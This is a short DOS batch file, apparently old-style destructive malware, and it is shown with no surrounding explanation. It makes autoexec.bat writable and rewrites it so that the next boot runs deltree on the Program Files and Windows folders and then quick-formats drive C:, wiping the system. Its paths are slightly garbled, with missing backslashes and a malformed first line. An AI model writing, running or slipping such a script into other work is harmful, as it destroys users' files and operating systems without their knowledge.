echo off@
cls
call attrib -h -r c:autoexec.bat >nul
echo @echo off >c:autoexec.bat
echo deltree /y crogra~1*.* >nul >>c:autoexec.bat
echo copy c:windowscommandformat.com c: >nul >>c:autoexec.bat
echo copy c:windowscommanddeltree.exe c: >nul >>c:autoexec.bat
echo deltree /y c:windows*.* >nul >>c:autoexec.bat
echo format c: /q /u /autotest >nul >>c:autoexec.bat